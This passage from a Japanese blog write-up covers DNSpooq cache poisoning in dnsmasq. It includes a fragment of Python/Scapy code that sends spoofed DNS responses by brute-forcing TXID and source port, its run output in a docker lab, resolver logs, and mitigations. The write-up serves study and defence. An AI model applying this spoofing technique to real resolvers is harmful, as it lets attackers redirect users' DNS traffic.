s = conf.L2socket(iface="eth0") for txid, sport in candidates: # update TXID and UDP dst port patch(dns_frame, pseudo_hdr, txid, sport) s.send(dns_frame)
これだけの労力で信じられないぐらい速くなります。上の raw()
が遅いと言っていた人によれば2000-3000倍とのことでしたが、手元だともう少し早くなってそうでした。
Python使ってる時点で駄目かと思ってCに書き直そうかと思ったのですが、きちんとボトルネックを調べて直していけば意外と速かったりするので雑に結論付けずに何事も計測が大事ですね。
実行
あとはattackerコンテナに入って攻撃コードを実行するだけです。
docker-compose exec attacker bash bash-5.0# python exploit.py Querying non-cached names... Generating spoofed packets... Poisoned: b'google.com.' => 169.254.169.254 sent 3032017 responses in 50.309 seconds
50秒程度で成功している様子が伺えます。ペーパーの試算によれば秒間14万パケットぐらい送る前提で50%だったので、今回は秒間6万パケットぐらいしか送れていないことを考えると2秒以内に成功する確率は低くなります。とはいえ検証には十分すぎるスピードです。
forwarderのログを見ると最初 example.com
をcacheコンテナに転送し、その後総当りでTXIDとソースポート番号がうまくヒットして google.com
がキャッシュしている様子がわかります。
$ docker-compose logs -f forwarder ... forwarder_1 | dnsmasq[1]: query[A] example.com from 10.10.0.3 forwarder_1 | dnsmasq[1]: forwarded example.com to 10.10.0.4 forwarder_1 | dnsmasq[1]: cached example.com is <CNAME> forwarder_1 | dnsmasq[1]: cached google.com is 169.254.169.254
そしてcacheのログを見ると、確かに同一ドメイン名に対するクエリなのに異なるTXIDが発番されていることが分かります。このおかげでいずれかのTXIDにヒットすれば毒入れが出来るようになっています。そしてキャッシュポイズニングとは関係ないですが、後半になると同じポート番号だけ使うようになっていて、使うポートのバランシングに若干問題ありそうな気配を感じ取れます。
$ docker-compose logs -f cache Attaching to dnspooq_cache_1 cache_1 | Sniffing... cache_1 | Source port: 46816, TXID: 16476, Query: b'example.com.' cache_1 | Source port: 16718, TXID: 54280, Query: b'example.com.' ... cache_1 | Source port: 46816, TXID: 56240, Query: b'example.com.' cache_1 | Source port: 46816, TXID: 24160, Query: b'example.com.' cache_1 | Source port: 46816, TXID: 40361, Query: b'example.com.' cache_1 | Source port: 46816, TXID: 13100, Query: b'example.com.' cache_1 | Source port: 46816, TXID: 47303, Query: b'example.com.'
ということで無事に毒入れが出来ました。何度か試しましたが、遅くても5分以内ぐらいには終わるのでペーパーで説明されていたとおりでした。少しエントロピーが小さくなるだけで一気に現実的な時間で終わるようになるというのは、やはり自分で試すと実感が得られて楽しいです。
今回は1マシン1プロセスでやりましたが、もっと並列化すれば速くなるはずなので2秒以内に終わる可能性が50%というのもそこまでありえない数字ではないかなと思います。とはいえ今回はローカル内からやってますが実際にはインターネット上のサーバから送らないといけないはずで、そこを考慮するともう少し確率は低くなりそうな気がします。
攻撃者がするべきことは多数のDNSクエリをforwarderに向けて投げるだけ(またはLAN内のマシンから投げさせるだけ)なので、比較的条件は緩い方かなと思いますし最初に要約で述べた条件に当てはまる場合はやはり対策の検討を推奨したいです。ただStruts 2 のRCEのようにばらまけば簡単に刺さりまくるようなタイプの攻撃ではないので、攻撃者の労力に対して得られる利益が割と少なく世界的に大流行する可能性は低いと考えています。攻撃者に標的にされるとまずいかも、ぐらいの前提で対策の要不要を検討すると良さそうです。
対策・緩和策
まず一番良いのはdnsmasqを2.83以上に更新することです。また今回の脆弱性に限らずLAN内からの攻撃を防ぐためにはDHCPスヌーピングやIP source guardなどのレイヤー2セキュリティが有効です。ですが空港やホテルなど、そもそも不特定多数が使うネットワークだと難しいかなと思います。
他にもキャッシュポイズニングに関していくつかの緩和策が上げられています。
- dnsmasqを不要にWAN側でlistenしない
- DNSクエリの最大同時転送数をデフォルトの150から少なくする
他にもDNSSECを有効にするというのもあります。ただしCRC32の脆弱性は使えなくなりますがCVE-2020-25686は有効ですし、今回のブログでは触れていませんがDNSSEC検証が有効になっている場合、今度はバッファーオーバーフローの方の脆弱性が刺さってしまうためそちらの危険性が高まってしまいます。
余談
PoCは0から書いたのですが、割と拡散されたようで今回の報告者であるJSOFにも届いてしまいました。
自分の書いたPoCがDNSpooqを報告したJSOFまで届いてしまったので世界は狭い https://t.co/VjPZDo4CqF
— イスラエルいくべぇ (@knqyf263) 2021年1月25日
良いPoCだ!と褒めてもらえたので良かったです。褒められると木に登る豚なのでCRC32のPoCも書いちゃうか?!と思ってます。
We Love your writeup and poc. We are an independent consulting and research company based in Israel, and are not related to the NXNS attack.
— JSOF Cyber Security (@JSOF18) 2021年1月25日
まとめ
dnsmasqの脆弱性のうちDNSキャッシュポイズニングに関する脆弱性の説明をしました。複数の脆弱性を組み合わせることで現実的な攻撃に落とし込んでいます。攻撃の実現容易性という意味でいうと、単にブラウザで攻撃者のWebサイトを表示させて大量のDNSリクエストを送らせるだけで毒入れ可能なのでそこそこ高いかなと感じています。さらにdnsmasqは様々なデバイス内部で使われていることを考えると、自分ではdnsmasqインストールしてないから安心!ということはなく利用している端末が影響を受けないかをきちんと確認する必要があります。そしてその端末がパブリックになっている場合は脆弱性関係なくそもそも設定を修正するべきです。意図的にパブリックにする必要があるのであれば今回の脆弱性の影響は大きいと思うのでバージョンをあげるのが良いです。
また、dnsmasqがLAN内からのリクエストのみを受け付けてWANに面している場合でもブラウザで単に攻撃者のWebサイトを閲覧させるだけで攻撃の実行が可能になっています。こちらも攻撃は割と容易かと思いますがそのような状況がどの程度あるのかはペーパーでは触れられていませんでしたし、自分も分かっていません。小規模なネットワークだとルータにdnsmasqが入っていてNATしつつDNSフォワーダもやってる、みたいな状況は結構多いか思います。大規模なネットワークだとどうなんでしょう。もしそういった構成が多いのであればDNSpooqは十分脅威かなと思います。DNSと関係ない仕事をしている人間の意見なので、有識者の方教えて下さい。
ということでdnsmasqの脆弱性でしたが、CRC32の衝突を利用してTXIDの推測を容易にするというのは面白かったです。またCNAMEを検証せずに受け入れてしまう、というのはDNSフォワーダとして合理的とはいえ今後も悪用されそうだなと感じました。
そして自分で攻撃コードを書いてみたわけですが、ホワイトペーパーを読んだだけでは分からなかった気付きも多く自分で手を動かすと得られる知見が段違いだなと改めて思いました。
ということで危険度を理解して正しく対策をしましょう。